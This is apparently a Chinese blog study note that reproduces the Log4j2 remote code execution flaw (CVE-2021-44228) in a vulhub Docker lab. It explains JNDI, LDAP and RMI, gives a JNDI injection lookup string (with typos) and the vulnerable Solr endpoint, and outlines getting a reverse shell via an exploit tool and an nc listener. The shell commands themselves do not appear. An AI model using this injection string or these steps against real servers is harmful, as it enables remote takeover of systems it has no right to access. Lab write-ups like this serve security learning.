目录
介绍
log4j2介绍:
JNDI介绍
LDAP介绍
RMI介绍
log4j2漏洞
漏洞复现
漏洞的(触发)流程
利用log4j2漏洞反弹shell
最近打算学习一下JAVA中几个经典的漏洞,这里还是参考别的师傅总结的好文章进行学习
JAVA的几个经典漏洞包括:
-
log4j2漏洞(CVE-2021-44228)
-
fastjson反序列化漏洞
-
Shiro550漏洞(CVE-2016-4437)
-
weblogic漏洞(CVE-2019-2890)
这几个漏洞在https://vulhub.org/靶场中都有docker环境可以使用,很不错,后面的实验复现我也都会使用靶场中的环境,在这一篇,要学习的是log4j2漏洞(CVE-2021-44228)
介绍
log4j2介绍:
中文官网:介绍 · Log4j 2官方文档中文翻译 (gitbooks.io)
Apache Log4j2 是对Log4j 的升级版本,参考了logback 的一些优秀的设计,并且修复了一些问题,因此带来了一些重大的提升,主要有:
异常处理,在logback中,Appender中的异常不会被应用感知到,但是在log4j2中,提供了一些异常处理机制。
性能提升,log4j2 相较于log4j 和 logback 都具有明显的性能提升,有18倍性能提升,后面会有官方测试的数据。
自动重载配置,参考了logback的设计,当然会提供自动刷新参数配置,最实用的就是我们在生产上可以动态的修改日志的级别而不需要重启应用。
无垃圾机制,log4j2 在大部分情况下,都可以使用其设计的一套无垃圾机制【对象重用、内存缓冲】,避免频繁的日志收集导致的 jvm gc。
简单来说:
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
JNDI介绍
由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI可以使用相应目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。
在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。
LDAP介绍
LDAP(轻型目录访问协议:是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI介绍
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
log4j2漏洞
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
所以说Apache log4j2-RCE漏洞是由于Log4j2提供的lookup功能下的 jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。
而开发人员在处理数据时,并没有对用户输入的信息进行判断导致LOg4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
漏洞复现
漏洞的触发流程:
漏洞的(触发)流程
1、攻击者发送一个HTTP请求,其用户名为${indi:rmi://rmi服务器地址/Exploityl}
2、被攻击服务器发现要输出的信息中有$队,则其中的内容要单独处理,进一步解析是NDI扩展内容且使用的是RM1,而后根据RMI服务器地址去请求Exploit。
3、RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4、被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
5、被攻击服务器下载恶意class文件并执行其中的恶意代码。
进入到对应的路径中,使用docke-compose启动环境
pwd
/root/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
漏洞位于/solr/admin/cores?action=xxx,我们在访问的同时使用BP进行抓包
可以看到是有回显的,说明这里存在命令执行漏洞
利用log4j2漏洞反弹shell
这里需要利用借助github上的工具------JNDI-Injection-Exploit v1.0 工具
工具下载我们对反弹shell的语句进行base64加密:
然后在攻击机中使用nc进行监听:
使用工具来进行漏洞利用:
然后在漏洞接口处访问:
执行完成后
就可以看到在Kali攻击机中已经通过该漏洞反弹的目标主机的shell了
参考文章:
java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户
log4j2 的使用【超详细图文】-CSDN博客
log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客